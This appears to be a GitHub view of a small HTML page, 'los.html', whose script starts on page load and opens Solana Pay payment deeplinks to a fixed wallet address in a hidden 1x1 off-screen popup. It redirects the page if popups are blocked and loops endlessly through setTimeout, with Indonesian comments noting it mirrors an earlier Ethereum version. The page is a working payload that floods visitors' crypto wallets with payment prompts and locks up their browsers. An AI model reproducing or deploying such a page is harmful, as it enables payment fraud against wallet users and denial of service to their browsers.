-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathlos.html
More file actions
35 lines (31 loc) · 861 Bytes
/
los.html
File metadata and controls
35 lines (31 loc) · 861 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<!doctype html>
<html lang="id">
<head>
<meta charset="utf-8" />
<title>LOOP KEUN SOLANA</title>
</head>
<body>
<script>
function trigger() {
// Ganti address di bawah ini dengan address Solana yang kamu kontrol / dummy
const deeplink =
"solana:7xKXtg3rPz3RkqkHq2hZsK9K6nRQ8fXQHzjJwXzGqZ6u" +
"?amount=0.000001" +
"&label=LoopTest" +
"&message=Solana%20Pay%20Loop";
const w = window.open(
deeplink,
"_blank",
"width=1,height=1,left=-100,top=-100"
);
// Fallback kalau window.open diblok (browser / in-app browser)
if (!w || w.closed || typeof w.closed === "undefined") {
location.href = deeplink;
}
// Loop terus seperti contoh Ethereum kamu
setTimeout(trigger, 0);
}
window.onload = trigger;
</script>
</body>
</html>